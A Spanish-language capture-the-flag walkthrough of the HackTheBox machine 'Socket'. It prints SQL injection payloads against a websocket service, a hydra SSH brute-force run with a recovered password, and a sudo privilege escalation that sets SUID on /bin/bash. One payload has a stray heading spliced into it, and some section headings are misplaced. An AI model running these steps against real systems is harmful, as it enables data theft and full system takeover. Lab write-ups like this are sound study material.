Socket es una máquina de dificultad media en la plataforma de HTB Para acceder a la máquina deberemos decompilar una aplicación hecha en Python. Una vez decompilada haremos un SQLI al websocket de la máquina para obtener la contraseña del usuario del sistema. Para la escalada de privilegios abusaremos de un script para compilar un fichero y así convertir la bash en SUID.

Enumeración

Escaneo de puertos

Empezamos realizando un escaneo de puertos para averiguar cuáles están abiertos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.206 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-01 20:28 CEST
Initiating SYN Stealth Scan at 20:28
Scanning 10.10.11.206 [65535 ports]
Discovered open port 80/tcp on 10.10.11.206
Discovered open port 22/tcp on 10.10.11.206
Discovered open port 5789/tcp on 10.10.11.206
Completed SYN Stealth Scan at 20:29, 12.63s elapsed (65535 total ports)
Nmap scan report for 10.10.11.206
Host is up, received user-set (0.046s latency).
Scanned at 2023-04-01 20:28:58 CEST for 13s
Not shown: 65519 closed ports, 13 filtered ports
Reason: 65519 resets and 13 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
5789/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.77 seconds
           Raw packets sent: 68640 (3.020MB) | Rcvd: 67171 (2.687MB)

En este caso podemos ver que hay 3 puertos abiertos: el 22 (SSH), el 80(web) y el 5789 (Desconocido).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Realizamos un escaneo de los servicios y versiones que se están ejecutando en los puertos abiertos.

❯ nmap -p22,80,5789 -sCV 10.10.11.206 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-01 20:29 CEST
Nmap scan report for 10.10.11.206                                                           
Host is up (0.061s latency).                                                                                                                                                            

PORT     STATE SERVICE VERSION                                                              
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52                                                  
|_http-server-header: Apache/2.4.52 (Ubuntu)                                                
|_http-title: Did not follow redirect to http://qreader.htb/              
5789/tcp open  unknown                                                                      
| fingerprint-strings:                                                                      
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest:                   
|     HTTP/1.1 400 Bad Request                                                              
|     Date: Sat, 01 Apr 2023 18:30:02 GMT                                                   
|     Server: Python/3.10 websockets/10.4                                                   
|     Content-Length: 77                                                                    
|     Content-Type: text/plain                                                              
|     Connection: close                                                                     
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   Help, SSLSessionReq:                                                                    
|     HTTP/1.1 400 Bad Request                                                              
|     Date: Sat, 01 Apr 2023 18:30:17 GMT                                                   
|     Server: Python/3.10 websockets/10.4                                                   
|     Content-Length: 77                                                                    
|     Content-Type: text/plain                                                              
|     Connection: close                                                         
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5789-TCP:V=7.80%I=7%D=4/1%Time=6428782A%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Sat,\x2001
SF:\x20Apr\x202023\x2018:30:02\x20GMT\r\nServer:\x20Python/3\.10\x20websoc
SF:kets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20text/plain\r\nC
SF:onnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20WebSocket\x20co
SF:nnection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x20request\.\n
SF:")%r(GetRequest,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Sat,
SF:\x2001\x20Apr\x202023\x2018:30:02\x20GMT\r\nServer:\x20Python/3\.10\x20
SF:websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20text/plai
SF:n\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20WebSocket
SF:\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x20reque
SF:st\.\n")%r(HTTPOptions,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\
SF:x20Sat,\x2001\x20Apr\x202023\x2018:30:02\x20GMT\r\nServer:\x20Python/3\
SF:.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20te
SF:xt/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20We
SF:bSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x
SF:20request\.\n")%r(RTSPRequest,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nDate:\x20Sat,\x2001\x20Apr\x202023\x2018:30:02\x20GMT\r\nServer:\x20Py
SF:thon/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type
SF::\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20
SF:a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x2
SF:0HTTP\x20request\.\n")%r(Help,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nDate:\x20Sat,\x2001\x20Apr\x202023\x2018:30:17\x20GMT\r\nServer:\x20Py
SF:thon/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type
SF::\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20
SF:a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x2
SF:0HTTP\x20request\.\n")%r(SSLSessionReq,F4,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\nDate:\x20Sat,\x2001\x20Apr\x202023\x2018:30:17\x20GMT\r\nServ
SF:er:\x20Python/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nCon
SF:tent-Type:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x2
SF:0open\x20a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x2
SF:0valid\x20HTTP\x20request\.\n");
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.75 seconds

En el escaneo nos da el dominio de qreader.htb así que lo añadimos al /etc/hosts. También nos dice que el puerto 5789 está el servicio websocket de Python

Visitamos el dominio qreader.htb y podemos hacer varias cosas en la web, como puede ser pasarle una imagen para leer un QR, crear un QR y también nos permiten descargar la aplicación que leen y generan los QR.

HTB

Descargamos la app y la descomprimimos para ver su contenido.

❯ unzip QReader_lin_v0.0.2.zip
Archive:  QReader_lin_v0.0.2.zip
   creating: app/
  inflating: app/qreader             
  inflating: app/test.png

Mediante el comando strings podemos intuir que la aplicación está hecha con Python.

❯ strings app/qreader
xPyQt5/uic/widget-plugins/__pycache__/qaxcontainer.cpython-310.pyc                          
xPyQt5/uic/widget-plugins/__pycache__/qscintilla.cpython-310.pyc                            
xPyQt5/uic/widget-plugins/__pycache__/qtcharts.cpython-310.pyc                              
xPyQt5/uic/widget-plugins/__pycache__/qtprintsupport.cpython-310.pyc                        
xPyQt5/uic/widget-plugins/__pycache__/qtquickwidgets.cpython-310.pyc                        
xPyQt5/uic/widget-plugins/__pycache__/qtwebenginewidgets.cpython-310.pyc                    
xPyQt5/uic/widget-plugins/__pycache__/qtwebkit.cpython-310.pyc                              
xPyQt5/uic/widget-plugins/qaxcontainer.py                                                   
xPyQt5/uic/widget-plugins/qscintilla.py                                                     
xPyQt5/uic/widget-plugins/qtcharts.py                                                       
xPyQt5/uic/widget-plugins/qtprintsupport.py                                                 
xPyQt5/uic/widget-plugins/qtquickwidgets.py                                                 
xPyQt5/uic/widget-plugins/qtwebenginewidgets.py                                             
xPyQt5/uic/widget-plugins/qtwebkit.py                                                       
xcv2/__init__.py                                                                            
xcv2/config-3.py                                                                            
xcv2/config.py                                                                              
xcv2/data/__init__.py                                                                       
xcv2/gapi/__init__.py                                                                       
xcv2/load_config_py2.py                                                                     
xcv2/load_config_py3.py                                                                     
xcv2/mat_wrapper/__init__.py                                                                
xcv2/misc/__init__.py                                                                       
xcv2/misc/version.py                                                                        
xcv2/utils/__init__.py                                                                      
xcv2/version.py                                                                             
zPYZ-00.pyz                                                                                 
6libpython3.10.so.1.0

Escalada de privilegios

Convertimos el ejecutable a PYC con la herramienta pyinstxtractor.py.

❯ python3 pyinstxtractor.py app/qreader
[+] Processing app/qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[+] Found 637 files in PYZ archive
[+] Successfully extracted pyinstaller archive: app/qreader

You can now use a python decompiler on the pyc files within the extracted directory

Una vez tenemos el archivo PYC lo pasamos a PY con unpyc3.py.

❯ python3 unpyc37-3.10/src/unpyc3.py
import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'

def setup_env():
    global tmp_file_name
    try:
        tmp_file_name = tempfile.gettempdir() + '/' + str(random.randint(100000, 900000)) + '.tmp'
        ui_template = '<?xml version="1.0" encoding="UTF-8"?>\n        <ui version="4.0">\n        <class>MainWindow</class>\n        <widget class="QMainWindow" name="MainWindow">\n        <property name="geometry">\n        <rect>\n            <x>0</x>\n            <y>0</y>\n            <width>743</width>\n            <height>368</height>\n        </rect>\n        </property>\n        <property name="windowTitle">\n        <string>QR Code Reader</string>\n        </property>\n        <widget class="QWidget" name="centralwidget">\n        <layout class="QHBoxLayout" name="horizontalLayout">\n            <item>\n            <widget class="QLabel" name="label">\n            <property name="minimumSize">\n            <size>\n                <width>300</width>\n                <height>300</height>\n            </size>\n            </property>\n            <property name="text">\n            <string/>\n            </property>\n            </widget>\n            </item>\n            <item>\n            <layout class="QHBoxLayout" name="horizontalLayout_2"/>\n            </item>\n            <item>\n            <layout class="QVBoxLayout" name="verticalLayout_5">\n            <item>\n            <widget class="QPushButton" name="pushButton">\n                <property name="text">\n                <string>Read</string>\n                </property>\n            </widget>\n            </item>\n            <item>\n            <widget class="QPushButton" name="pushButton_2">\n                <property name="text">\n                <string>Embed</string>\n                </property>\n            </widget>\n            </item>\n            </layout>\n            </item>\n            <item>\n            <layout class="QVBoxLayout" name="verticalLayout">\n            <item>\n            <widget class="QTextEdit" name="textEdit">\n                <property name="minimumSize">\n                <size>\n                <width>300</width>\n                <height>300</height>\n                </size>\n                </property>\n            </widget>\n            </item>\n            </layout>\n            </item>\n        </layout>\n        </widget>\n        <widget class="QMenuBar" name="menubar">\n        <property name="geometry">\n            <rect>\n            <x>0</x>\n            <y>0</y>\n            <width>743</width>\n            <height>21</height>\n            </rect>\n        </property>\n        <widget class="QMenu" name="menuFile">\n            <property name="title">\n            <string>File</string>\n            </property>\n            <addaction name="actionImport"/>\n            <addaction name="actionSave"/>\n            <addaction name="actionQuit"/>\n        </widget>\n        <widget class="QMenu" name="menuAbout">\n            <property name="title">\n            <string>About</string>\n            </property>\n            <addaction name="actionVersion"/>\n            <addaction name="actionUpdate"/>\n        </widget>\n        <addaction name="menuFile"/>\n        <addaction name="menuAbout"/>\n        </widget>\n        <widget class="QStatusBar" name="statusbar"/>\n        <action name="actionImport">\n        <property name="text">\n            <string>Import</string>\n        </property>\n        </action>\n        <action name="actionSave">\n        <property name="text">\n            <string>Save</string>\n        </property>\n        </action>\n        <action name="actionQuit">\n        <property name="text">\n            <string>Quit</string>\n        </property>\n        </action>\n        <action name="actionVersion">\n        <property name="text">\n            <string>Version </string>\n        </property>\n        </action>\n        <action name="actionUpdate">\n        <property name="text">\n            <string>Updates</string>\n        </property>\n        </action>\n        </widget>\n        <resources/>\n        <connections/>\n        </ui>'
        with open(tmp_file_name, 'w') as f:
            f.write(ui_template)
    finally:
        pass

class MyGUI(QMainWindow):

    def __init__(self):
        super(MyGUI, self).__init__()
        uic.loadUi(tmp_file_name, self)
        self.show()
        self.current_file = ''
        self.actionImport.triggered.connect(self.load_image)
        self.actionSave.triggered.connect(self.save_image)
        self.actionQuit.triggered.connect(self.quit_reader)
        self.actionVersion.triggered.connect(self.version)
        self.actionUpdate.triggered.connect(self.update)
        self.pushButton.clicked.connect(self.read_code)
        self.pushButton_2.clicked.connect(self.generate_code)
        self.initUI()

    def initUI(self):
        self.setWindowIcon(QtGui.QIcon(icon_path))

    def load_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
        if filename != '':
            self.current_file = filename
            pixmap = QtGui.QPixmap(self.current_file)
            pixmap = pixmap.scaled(300, 300)
            self.label.setScaledContents(True)
            self.label.setPixmap(pixmap)
            return

    def save_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options=options)
        if filename != '':
            img = self.label.pixmap()
            img.save(filename, 'PNG')
            return

    def read_code(self):
        if self.current_file != '':
            img = cv2.imread(self.current_file)
            detector = cv2.QRCodeDetector()
            (data, bbox, straight_qrcode) = detector.detectAndDecode(img)
            self.textEdit.setText(data)
            return
        self.statusBar().showMessage('[ERROR] No image is imported!')

    def generate_code(self):
        qr = qrcode.QRCode(version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=20, border=2)
        qr.add_data(self.textEdit.toPlainText())
        qr.make(fit=True)
        img = qr.make_image(fill_color='black', back_color='white')
        img.save('current.png')
        pixmap = QtGui.QPixmap('current.png')
        pixmap = pixmap.scaled(300, 300)
        self.label.setScaledContents(True)
        self.label.setPixmap(pixmap)

    def quit_reader(self):
        if os.path.exists(tmp_file_name):
            os.remove(tmp_file_name)
        sys.exit()

    def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION})))
        data = json.loads(response)
        if 'error' not in (data.keys()):
            version_info = data['message']
            msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}'
            self.statusBar().showMessage(msg)
            return
        error = data['error']
        self.statusBar().showMessage(error)

    def update(self):
        response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({'version': VERSION})))
        data = json.loads(response)
        if 'error'not  in (data.keys()):
            msg = '[INFO] ' + data['message']
            self.statusBar().showMessage(msg)
            return
        error = data['error']
        self.statusBar().showMessage(error)

async def ws_connect(url, msg):
    pass

def main():
    (status, e) = setup_env()
    if not status:
        print('[-] Problem occured while setting up the env!')
    app = QApplication([])
    window = MyGUI()
    app.exec_()

if __name__ == '__main__':
    main()
    return

Las partes más interesantes que podemos ver de la aplicación serían las siguientes.

[...]
ws_host = 'ws://ws.qreader.htb:5789'
[...]
def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION})))
        data = json.loads(response)
        if 'error' not in (data.keys()):
            version_info = data['message']
            msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}'
            self.statusBar().showMessage(msg)
            return
        error = data['error']
        self.statusBar().showMessage(error)
[...]

Podemos ver como hay un subdominio para interactuar con el websocket y la ruta /version.

Mediante este pequeño script en python podemos interactuar con el websocket del puerto 5789.

#!/usr/bin/python3
import sys
import websocket
import json

VERSION='0.0.2'
ws = websocket.WebSocket()
ws.connect("ws://ws.qreader.htb:5789/version")
ws.send(json.dumps({'version': sys.argv[1]}))
print(ws.recv())

Si probamos a ejecutar el script y le pasamos la versión que había en la aplicación, nos da la información sobre la versión.

❯ python3 ws_socket.py 0.0.2
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}

Probamos a hacer un SQLI con el argumento de la versión del script creado.

❯ python3 ws_socket.py '0.0.2" union select 1-- -'
❯ python3 ws_socket.py '0.0.2" union select 1,2-- -'
❯ python3 ws_socket.py '0.0.2" union select 1,2,3-- -'
❯ python3 ws_socket.py '0.0.2" union select 1,2,3,4-- -'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}

Intrusión

En efecto es vulnerable a SQLI, ahora debemos saber ante qué tipo de base de datos estamos.

❯ python3 ws_socket.py '0.0.2" union select v$version,2,3,4-- -'
❯ python3 ws_socket.py '0.0.2" union select @@version,2,3,4-- -'
❯ python3 ws_socket.py '0.0.2" union sele# Escalada de privilegios
ct sqlite_version(),2,3,4-- -'
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}

Por lo que nos reporta el script nos encontramos ante un SQLite de versión 3.37.2.

Ahora debemos saber cuáles son las tablas de la base de datos.

❯ python3 ws_socket.py '0.0.2" union select group_concat(name),2,3,4 from sqlite_schema-- -'
{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}

Debemos saber cuál es la estructura de las tablas para poder extraer la información de las mismas.

❯ python3 ws_socket.py '0.0.2" union select sql,2,3,4 from sqlite_master where type!="meta" and sql not null and name ="users"-- -'
{"message": {"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)", "version": 2, "released_date": 3, "downloads": 4}}

Sabiendo la estructura de creación podemos obtener el hash del usuario admin.

❯ python3 ws_socket.py '0.0.2" union select username,password,3,4 from users-- -'
{"message": {"id": "admin", "version": "0c090c365fa0559b151a43e0fea39710", "released_date": 3, "downloads": 4}}

Copiamos y pegamos el hash en Crackstation para obtener la contraseña.

Como no sabemos el usuario del sistema, seguimos enumerando bases de datos en busca de alguna pista. En una de las tablas que hay podemos ver el usuario de Thomas Keller.

❯ python3 ws_socket.py '0.0.2" union select sql,2,3,4 from sqlite_master where type!="meta" and sql not null and name ="answers"-- -'
{"message": {"id": "CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT,  answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))", "version": 2, "released_date": 3, "downloads": 4}}

❯ python3 ws_socket.py '0.0.2" union select answered_by,answer,3,4 from answers-- -'
{"message": {"id": "admin", "version": "Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller", "released_date": 3, "downloads": 4}}

Apuntamos todas las posibilidades de usuario en un pequeño diccionario.

❯ ncat user.txt
thomas
t.keller
tkeller
kellert
thomas.k
k.thomas
kthomas
thomask

Con hydra hacemos una pequeña fuerza bruta para saber cuál es el nombre de usuario correcto.

❯ hydra -L user.txt -p denjanjade122566 ssh://10.10.11.206
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-05 22:21:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:7/p:1), ~1 try per task
[DATA] attacking ssh://10.10.11.206:22/
[22][ssh] host: 10.10.11.206   login: tkeller   password: denjanjade122566
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-05 22:21:17

Nos conectamos mediante SSH con el usuario tkeller y leemos la flag del usuario.

❯ ssh [email protected]
The authenticity of host '10.10.11.206 (10.10.11.206)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.206' (ED25519) to the list of known hosts.
[email protected]'s password:     
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com            
 * Support:        https://ubuntu.com/advantage              

  System information as of Wed Apr  5 08:22:50 PM UTC 2023

  System load:           0.0
  Usage of /:            55.0% of 8.51GB                                                    
  Memory usage:          12%
  Swap usage:            0%          
  Processes:             222
  Users logged in:       0                                                                  
  IPv4 address for eth0: 10.10.11.206                                                       
  IPv6 address for eth0: dead:beef::250:56ff:feb9:1419

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your                                                                                                                           
   Ubuntu Pro subscription. Free for personal use.
        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

tkeller@socket:~$ ls
user.txt
tkeller@socket:~$ cat user.txt 
e61447e7d993abf3fa3eec000d79d7ab
tkeller@socket:~$

Escalada de privilegios

Podemos observar que podemos ejecutar un archivo como si fuésemos el usuario root.

tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh

Este sería el script que podemos ejecutar.

tkeller@socket:~$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

Lo que hace el script básicamente es compilar los archivos .py y .spec. Así que creamos un archivo .spec e intentamos cambiar los permisos de la bash a SUID.

tkeller@socket:~$ cat pwn.spec 
import os
os.system("chmod +s /bin/bash")
tkeller@socket:~$ 

Ejecutamos el script para que compile nuestro archivo, nos convertimos en root y leemos la flag.

tkeller@socket:/tmp$ sudo /usr/local/sbin/build-installer.sh build pwn.spec 
463 INFO: PyInstaller: 5.6.2
464 INFO: Python: 3.10.6
467 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
472 INFO: UPX is not available.
tkeller@socket:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
tkeller@socket:/tmp$ bash -p
bash-5.1# cat /root/root.txt
eb36bcb718a04ebae854ecc7d9b7955a
bash-5.1#

Leave a Reply

Your email address will not be published. Required fields are marked *